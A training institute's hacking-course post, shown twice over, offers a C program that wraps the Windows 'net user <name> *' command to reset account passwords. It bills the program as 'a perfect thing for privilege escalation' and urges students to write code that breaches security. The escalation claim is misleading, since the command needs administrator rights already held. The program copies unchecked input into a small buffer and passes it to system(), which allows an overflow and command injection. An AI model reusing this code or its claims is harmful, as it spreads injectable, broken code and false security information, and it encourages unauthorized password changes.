Filename | Small program written in C to change the Windows Password. |
Permission | rw-r--r-- |
Author | Unknown |
Date and Time | 5/10/2013 |
Label | Penetration |
Action |
Ethical Hacking Institute in Pune.
/Arizona Team
Well... was just getting bored due to hot summer in India, then thought why not to code a funny thing that will change the Windows Password. I don't want students to be script kiddies, just go through the code and understand the logic behind it. If you have any difficulties in understanding the logical flow you can drop your a mail at instructor@arizonainfotech.com.
Try to code something funny that will breach the security and the best programmer will be awarded from our side. Waiting for your codes...
Well here is mine code for changing windows password a perfect thing for privilege escalation :
#include <iostream.h> // Used for input/output
#include <windows.h> // Used for string manipulation and system
#include <conio.h> // Used for getch()
void changePass(char[20]); // Define changePass function, take one parameter.
// main function.
int main(){
char userName[20]; // Define userName - holds 19 characters
cout << "Please enter username: "; // Ask for userName
cin >> userName; // Recieve userName
changePass(userName); // Call function, provide userName
getch(); // Wait for user input before exiting.
return 0;
}
// changePass function, takes one parameter.
void changePass(char userName[20]){
char command[30]; // Define command - 29 characters
strcpy(command, "net user "); // Assign "net user " to command
strcat(command, userName); // Add "userName" to command
strcat(command, " *"); // Add " *" to command
system(command); // Call command
cout << userName << " Password Was Successfully Changed" << endl; // Little message
}
www.arizonainfotech.com
CEH CHFI ECSA ENSA CCNA CCNA SECURITY MCITP RHCE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE
/Arizona Team
Well... was just getting bored due to hot summer in India, then thought why not to code a funny thing that will change the Windows Password. I don't want students to be script kiddies, just go through the code and understand the logic behind it. If you have any difficulties in understanding the logical flow you can drop your a mail at instructor@arizonainfotech.com.
Try to code something funny that will breach the security and the best programmer will be awarded from our side. Waiting for your codes...
Well here is mine code for changing windows password a perfect thing for privilege escalation :
#include <iostream.h> // Used for input/output
#include <windows.h> // Used for string manipulation and system
#include <conio.h> // Used for getch()
void changePass(char[20]); // Define changePass function, take one parameter.
// main function.
int main(){
char userName[20]; // Define userName - holds 19 characters
cout << "Please enter username: "; // Ask for userName
cin >> userName; // Recieve userName
changePass(userName); // Call function, provide userName
getch(); // Wait for user input before exiting.
return 0;
}
// changePass function, takes one parameter.
void changePass(char userName[20]){
char command[30]; // Define command - 29 characters
strcpy(command, "net user "); // Assign "net user " to command
strcat(command, userName); // Add "userName" to command
strcat(command, " *"); // Add " *" to command
system(command); // Call command
cout << userName << " Password Was Successfully Changed" << endl; // Little message
}
www.arizonainfotech.com
CEH CHFI ECSA ENSA CCNA CCNA SECURITY MCITP RHCE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE